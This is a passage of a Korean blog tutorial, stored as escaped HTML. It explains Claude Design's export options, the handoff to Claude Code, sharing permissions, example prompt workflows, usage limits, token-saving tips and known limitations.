&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;절차&lt;/b&gt;: Export 버튼 &amp;rarr; &quot;Send to Canva&quot; 선택 &amp;rarr; Canva로 이동 후 연동 진행.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;background: #fff8e1; color: #f57c00; padding: 2px 8px; border-radius: 4px; font-size: 13px; font-weight: 600; margin-right: 8px;&quot;&gt;중급&lt;/span&gt;9.5. Export as Standalone HTML&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;용도&lt;/b&gt;: 서버 없이 바로 열리는 프로토타입 공유, 인터랙티브 프리뷰.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;특성&lt;/b&gt;: 공식 발표는 &quot;standalone HTML files&quot;라고 명시한다. 외부 의존성 없는 완전한 단일 파일인지는 공식 문서에 명시적으로 확인되지 않는다. PCWorld 리뷰어는 &quot;plain-text 프리뷰 경고가 단일 HTML 익스포트에 변형이 완전히 통합되지 않았음을 시사했다&quot;고 기록했다. 실제 사용 전 직접 확인 권장.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;내부 포맷&lt;/b&gt;: 독립 디자이너 Sam Henri Gold는 &quot;HTML and JS all the way down&quot;이라고 평했다. 인터랙티브 요소(호버 스테이트, 테마 토글 등)도 포함된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;절차&lt;/b&gt;: Export 버튼 &amp;rarr; &quot;Export as standalone HTML&quot; 선택 &amp;rarr; .html 파일 저장 &amp;rarr; 브라우저에서 열기.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;background: #e8f4f8; color: #0066cc; padding: 2px 8px; border-radius: 4px; font-size: 13px; font-weight: 600; margin-right: 8px;&quot;&gt;개발자&lt;/span&gt;9.6. Handoff to Claude Code&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 포맷은 &amp;sect;10에서 별도로 상세 설명한다. Claude Design을 벗어나 실제 구현 단계로 넘어가는 과정이기 때문이다.&lt;br /&gt;( 이미 상기 예시에서도 리뷰하긴 하였다. )&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- ===== SECTION 10 ===== --&gt;
&lt;h2 id=&quot;sec-10&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;&lt;span style=&quot;background: #e8f4f8; color: #0066cc; padding: 2px 8px; border-radius: 4px; font-size: 13px; font-weight: 600; margin-right: 8px;&quot;&gt;개발자&lt;/span&gt;10. 기능 7: Claude Code 핸드오프&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Claude Design에서 디자인이 완성되면 Claude Code로 핸드오프해 실제 구현 단계로 바로 넘어갈 수 있다. 단순 목업 도구와 달리, 디자인에서 코드까지 같은 생태계 안에서 이어지는 게 이 도구의 핵심이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;10.1. 핸드오프 메커니즘&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공식 발표 원문: &lt;i&gt;&quot;When a design is ready to build, Claude packages everything into a handoff bundle that you can pass to Claude Code with a single instruction.&quot;&lt;/i&gt; (디자인이 구현 준비가 되면, Claude가 모든 것을 핸드오프 번들로 패키징해 단 하나의 명령으로 Claude Code에 넘길 수 있다.)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Nervegna 리뷰는 실제 절차를 다음과 같이 묘사한다: &lt;i&gt;&quot;You export from Claude Design, copy a command, paste it into Claude Code, and it fetches the design file from an API endpoint.&quot;&lt;/i&gt; (Claude Design에서 내보내기 후 커맨드를 복사해 Claude Code에 붙여넣으면, Claude Code가 API 엔드포인트에서 디자인 파일을 가져온다.)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;10.2. 단계별 핸드오프 절차&lt;/h3&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;Claude Design에서 Export 버튼 클릭.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;&quot;Handoff to Claude Code&quot;&lt;/b&gt; 선택. 두 가지 옵션이 있다:
&lt;ul style=&quot;margin: 8px 0 8px 20px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;Local agent&lt;/b&gt;: Claude Code CLI가 설치된 로컬 환경에서 실행.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Web&lt;/b&gt;: 브라우저에서 이어서 작업.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;내보내기 후 &lt;b&gt;커맨드를 복사&lt;/b&gt;한다. (Nervegna 리뷰 기준)&lt;/li&gt;
&lt;li&gt;Claude Code 터미널 또는 웹 인터페이스에 &lt;b&gt;커맨드를 붙여넣는다&lt;/b&gt;.&lt;/li&gt;
&lt;li&gt;Claude Code가 API 엔드포인트에서 디자인 파일을 가져와 구현을 시작한다.&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;10.3. 핸드오프 번들 내용&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공식 문서는 번들에 포함되는 구체적 파일 목록을 기술하지 않는다. Vibecoding 리뷰는 핸드오프 번들에서 다음 파일 구조를 언급했다.&lt;/p&gt;
&lt;pre class=&quot;awk&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto;&quot; data-ke-language=&quot;text&quot;&gt;&lt;code&gt;[커뮤니티 보고 - 공식 확인 미완료]
/pages/landing.tsx       &amp;rarr; 랜딩 페이지 컴포넌트
/components/pricing-card.tsx  &amp;rarr; UI 컴포넌트
/styles/tokens.css       &amp;rarr; Tailwind CSS 토큰&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;10.4. 디자인 시스템과 핸드오프의 연결&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Claude Code 핸드오프 결과가 팀 코드베이스 스타일과 다르게 나온다면 Organization settings의 디자인 시스템에 해당 리포지토리가 Published 상태로 연결되어 있는지 확인한다. Remix 버튼으로 시스템을 보정한 뒤 재생성할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- ===== SECTION 11 ===== --&gt;
&lt;h2 id=&quot;sec-11&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;&lt;span style=&quot;background: #e8f5e9; color: #2e7d32; padding: 2px 8px; border-radius: 4px; font-size: 13px; font-weight: 600; margin-right: 8px;&quot;&gt;초급&lt;/span&gt;11. 기능 8: 공유와 협업&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;11.1. 공유 링크 생성&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공유 링크 생성 버튼의 위치는 공식 문서에 명시되지 않아 확인 불가. 생성 시 세 가지 권한 수준 중 하나를 선택한다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;권한 수준&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;기능 범위&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;사용 시나리오&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;b&gt;View-only&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;조회만 가능. 수정 불가.&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;임원 리뷰, 클라이언트 프리뷰&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;b&gt;Comment&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;코멘트 추가 가능. 구현 직접 편집 불가.&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;팀 피드백 수집, 디자이너 주석&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;b&gt;Edit&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;디자인 직접 수정 가능.&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;협업 작업, 공동 편집&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;11.2. 공개 범위&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공식 발표 원문: &lt;i&gt;&quot;Keep a document private, share it so anyone in your organization with the link can view it, or grant edit access so colleagues can modify the design.&quot;&lt;/i&gt; (문서를 비공개로 유지하거나, 링크를 가진 조직 내 누구나 볼 수 있도록 공유하거나, 동료가 디자인을 수정할 수 있도록 편집 권한을 부여할 수 있다.)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 표현에서 &quot;your organization&quot;이 반복됨을 주목한다. 조직 외부 사용자(외부 클라이언트 등)와의 공유 가능 여부는 공식 문서에 명시되지 않아 확인 불가. 외부 공유가 필요한 경우 PDF 또는 Standalone HTML로 내보내는 것이 현재로서는 안전한 대안이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;11.3. 실시간 멀티플레이어 편집 &amp;mdash; 현재 미지원&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Figma처럼 두 명 이상이 동일 캔버스를 실시간으로 같이 편집하는 기능은 현재 없다. 이는 복수의 커뮤니티 리뷰에서 공통으로 지적한 launch-time 한계다. 팀 2인 이상이 실시간 공동 편집이 필수라면 현재는 Figma를 병행하는 것이 권장된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- ===== SECTION 12 ===== --&gt;
&lt;h2 id=&quot;sec-12&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;&lt;span style=&quot;background: #e8f5e9; color: #2e7d32; padding: 2px 8px; border-radius: 4px; font-size: 13px; font-weight: 600; margin-right: 8px;&quot;&gt;초급&lt;/span&gt;12. 실전 예시 3가지&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래 시나리오는 공식 워크플로(Create &amp;rarr; Refine &amp;rarr; Export)를 기반으로 한국어 실무에 맞춰 재구성한 것이다. 실제 결과물은 환경&amp;middot;프롬프트&amp;middot;디자인 시스템 설정에 따라 달라진다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;12.1. 예시 A &amp;mdash; SaaS 랜딩 페이지&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;목표&lt;/b&gt;: 핀테크 SaaS &quot;Finsight&quot;의 랜딩 페이지 초안을 브랜드 가이드 기반으로 생성.&lt;/p&gt;
&lt;pre class=&quot;routeros&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto;&quot; data-ke-language=&quot;text&quot;&gt;&lt;code&gt;【 Create 】
&quot;Finsight&quot; 핀테크 SaaS 랜딩 페이지를 만든다.
- 섹션: hero, 3-feature row, 고객 로고, pricing 3-tier(starter/growth/enterprise),
  FAQ, footer
- 톤: 전문적이고 신뢰감 있는 금융
- 첨부한 브랜드 가이드 PDF의 컬러와 타이포그래피를 따른다
- 에스테틱: corporate but modern, sans-serif, generous whitespace

【 온보딩 질문 응답 예시 】
타겟 오디언스 &amp;rarr; 중소기업 CFO, 재무팀장
포맷 &amp;rarr; Single landing page
비주얼 에스테틱 &amp;rarr; Clean fintech, Bloomberg Terminal meets Stripe
인터랙션 스타일 &amp;rarr; Scroll animations, hover states on CTA

【 Refine - Chat 】
전체 컬러를 다크 네이비 기반으로 바꾼다.
pricing 가운데(growth) 플랜에 &quot;Most popular&quot; 배지를 추가한다.
hero 카피를 12단어 이내로 줄인다.

【 Refine - 인라인 코멘트 】
[hero 제목 클릭] &quot;더 크고 굵게&quot;
[CTA 버튼 클릭] &quot;라운딩 8px로&quot;
[feature row 클릭] &quot;아이콘을 line style로 통일&quot;

【 Adjustment Knobs 】
section gap: 조금 넓게
primary color saturation: 조금 낮게

【 Export 】
Standalone HTML + Handoff to Claude Code (local)

【 기대 결과 】
첨부 브랜드의 컬러가 반영된 초안 HTML.
Brilliant 사례에서 &quot;경쟁 툴에서 20개 이상의 프롬프트가 필요했던 페이지를
2개로 줄였다&quot;는 보고가 있으나 이는 Anthropic 발표에 수록된 단일 사례다.&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;background: #e8f4f8; color: #0066cc; padding: 2px 8px; border-radius: 4px; font-size: 13px; font-weight: 600; margin-right: 8px;&quot;&gt;개발자&lt;/span&gt;12.2. 예시 B &amp;mdash; 모바일 앱 온보딩 목업&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;목표&lt;/b&gt;: 기존 iOS 리포지토리 스타일과 일치하는 온보딩 3화면.&lt;/p&gt;
&lt;pre class=&quot;vim&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto;&quot; data-ke-language=&quot;text&quot;&gt;&lt;code&gt;【 디자인 시스템 사전 설정 (권장) 】
Organization settings에서 iOS 앱 GitHub 리포를 먼저 연결 &amp;rarr; Published 토글 ON
&amp;rarr; 이후 생성하는 모든 프로젝트에 기존 컴포넌트 패턴이 자동 상속됨

【 Create 】
연결한 iOS 리포지토리의 기존 디자인 언어를 참고해 온보딩 3화면을 만든다.
- 화면1: 가치 소개. 화면2: 권한 요청. 화면3: 첫 작업 유도.
- iPhone 15 Pro 프레임에 맞춘 모바일 레이아웃.

【 Refine - 인라인 코멘트 】
[primary CTA 클릭] &quot;각 화면의 primary CTA 위치를 safe area 하단에 고정한다&quot;
[화면2 권한 카피 클릭] &quot;한국어로 바꾼다. 20자 이내.&quot;

【 Export 】
PNG 포함 .zip + Handoff to Claude Code (local)

【 커뮤니티 근거 】
iOS 리포를 연결했을 때 &quot;a prototype that matched the existing app's
visual language with no additional prompting&quot;이 출력됐다는 보고 있음
(Vibecoding 리뷰 &amp;mdash; 2차 인용, 개별 환경에서 직접 검증 권장)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;12.3. 예시 C &amp;mdash; B2B 이메일 템플릿 3종&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;목표&lt;/b&gt;: SaaS 온보딩 이메일 시퀀스 3종 세트.&lt;/p&gt;
&lt;pre class=&quot;angelscript&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto;&quot; data-ke-language=&quot;text&quot;&gt;&lt;code&gt;【 Create 】
B2B SaaS 고객 온보딩 이메일 3종을 만든다.
- 메일1: 가입 환영 + 체크리스트 3개.
- 메일2: Day 3 기능 하이라이트 + CTA.
- 메일3: Day 7 성공 사례 + 업그레이드 제안.
600px 너비, 다크 모드 호환. 첨부 브랜드 가이드 컬러 적용.

【 Refine - Chat 】
메일2 CTA 버튼 색을 브랜드 오렌지로.
모든 이메일에 푸터 주소와 수신거부 링크 추가.

【 Adjustment Knobs 】
button corner radius: 최소로 (각진 스타일)
section padding: 넉넉하게

【 Export 】
Standalone HTML (각 이메일을 개별 파일로)

【 주의 】
이메일 템플릿은 공식 use case 문서에 직접 명시되지 않았으나,
HTML 내보내기와 에셋 생성 범위로 볼 때 재현 가능한 시나리오로 판단한다.&lt;/code&gt;&lt;/pre&gt;
&lt;!-- ===== SECTION 13 ===== --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 id=&quot;sec-13&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;&lt;span style=&quot;background: #e8f5e9; color: #2e7d32; padding: 2px 8px; border-radius: 4px; font-size: 13px; font-weight: 600; margin-right: 8px;&quot;&gt;초급&lt;/span&gt;13. 사용량 관리와 토큰 절약 전략&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Claude Design에서 가장 먼저 부딪히는 실용적 문제가 사용량 소진이다. Pro 플랜 기준 복수의 독립적 리뷰가 30분 내외로 주간 한도가 소진됐다고 보고한다. 사용량 관리는 선택이 아닌 필수다.&lt;/p&gt;
&lt;div style=&quot;background: #fff8e1; border-left: 4px solid #f0a500; padding: 15px; margin: 15px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;한도 구조 (공식 문서 확인)&lt;/b&gt;: 주간 사용 한도는 &lt;b&gt;개인(user) 단위로 적용&lt;/b&gt;된다. 조직 레벨에서 한도를 공유하거나 풀링하는 구조가 아니므로, 팀 구성원 각각이 별도의 주간 한도를 갖는다. Max 플랜도 동일 구조다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;13.1. 실제 소진 사례 (커뮤니티 보고)&lt;/h3&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;사례&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;소비량&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;출처&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;완전한 디자인 세션 2회&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Pro 주간 한도의 58%&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://vibecoding.app/blog/claude-design-review&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;Vibecoding&lt;/a&gt; (2차 인용)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;디자인 시스템 생성 1회 + 프로토타입 1개&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Pro 주간 한도의 65%&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://nervegna.substack.com/p/claude-design-just-dropped-heres&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;Nervegna/Substack&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;약 30분 작업 (variation 3회 + 재빌드 1회)&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Pro 주간 한도의 100%&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://www.pcworld.com/article/3117811/i-tried-claude-design-for-half-an-hour-im-already-locked-out-for-a-week.html&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;PCWorld&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;13.2. 토큰 절약 전략 5가지&lt;/h3&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;디자인 시스템은 조직에서 한 번만 설정&lt;/b&gt;: 디자인 시스템 생성 자체가 많은 토큰을 소비한다. 팀에서 공유되는 조직 디자인 시스템을 한 번 설정해 두면 이후 프로젝트마다 재생성할 필요가 없다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;단일 컴포넌트부터 시작&lt;/b&gt;: 멀티섹션 전체 페이지를 한 번에 요청하면 수정 사이클이 많아진다. 랜딩 페이지 1개 &amp;rarr; 마음에 들면 섹션 추가 방식으로 접근한다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Adjustment Knobs로 세부 조정&lt;/b&gt;: Chat 또는 인라인 코멘트로 매번 재생성하는 것보다 Adjustment Knobs로 실시간 조정하면 토큰 소비 없이 미세 조정이 가능하다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Sonnet으로 모델 전환&lt;/b&gt;: 세부 텍스트 수정이나 소규모 조정은 Opus 4.7 대신 Sonnet 4.6으로 전환해 토큰을 아낄 수 있다. PCWorld 리뷰어가 이 방법을 사용했다. 단, 모델 전환이 결과물 품질에 미치는 영향은 케이스별로 다를 수 있다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Pro는 소비 패턴 먼저 측정&lt;/b&gt;: 첫 주에 실제 작업 흐름과 동일한 짧은 세션을 2~3회 진행해 주간 한도가 얼마나 빠르게 소진되는지 먼저 파악한다. 그 결과를 기준으로 Max 플랜 업그레이드 여부를 결정하는 것이 안전하다.&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- ===== SECTION 14 ===== --&gt;
&lt;h2 id=&quot;sec-14&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;&lt;span style=&quot;background: #e8f5e9; color: #2e7d32; padding: 2px 8px; border-radius: 4px; font-size: 13px; font-weight: 600; margin-right: 8px;&quot;&gt;초급&lt;/span&gt;14. 현재 알려진 제한과 주의사항&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;14.1. 공식 Known Limitations&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공식 Help Center가 명시한 4가지 한계.&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;인라인 코멘트가 간헐적으로 사라지는 현상 &amp;mdash; 상세와 워크어라운드는 &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#sec-6&quot;&gt;&amp;sect;6.4&lt;/a&gt; 참조.&lt;/li&gt;
&lt;li&gt;Compact view mode에서 저장 오류가 발생할 수 있음.&lt;/li&gt;
&lt;li&gt;큰 리포지토리를 연결하면 lag 또는 브라우저 문제가 발생할 수 있음.&lt;/li&gt;
&lt;li&gt;Chat upstream error 발생 시 새 chat 탭으로 이동.&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;14.2. 결과물 품질 한계 (커뮤니티 공통 지적)&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;초기 출력물의 색상 구성 오류&lt;/b&gt;: Nervegna는 &quot;검정 텍스트가 어두운 짙은 녹색 배경 위에 렌더링되어 전혀 읽을 수 없었다&quot;는 사례를 보고했다. 첫 생성 결과의 접근성과 가독성을 항상 확인한다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;제네릭한 미학 수렴&lt;/b&gt;: 여러 리뷰에서 &quot;blue-to-purple gradient, card-based layout, round corners, generous padding&quot;으로 수렴하는 경향을 공통으로 지적한다. 브랜드 차별화는 디자인 시스템과 구체적 에스테틱 지시가 함께 있어야 한다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;컴포지션 판단 한계&lt;/b&gt;: 브랜드 컬러는 정확히 추출하지만 색상의 구도적 사용은 잘못될 수 있다 (Nervegna). 도구 출력을 그대로 받지 말고 반드시 사람이 검수한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;14.3. 현재 없는 기능&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공식 발표에는 이 항목들의 부재가 직접 언급되지 않는다. 아래는 커뮤니티 리뷰가 launch-time 한계로 정리한 내용이다.&lt;/p&gt;
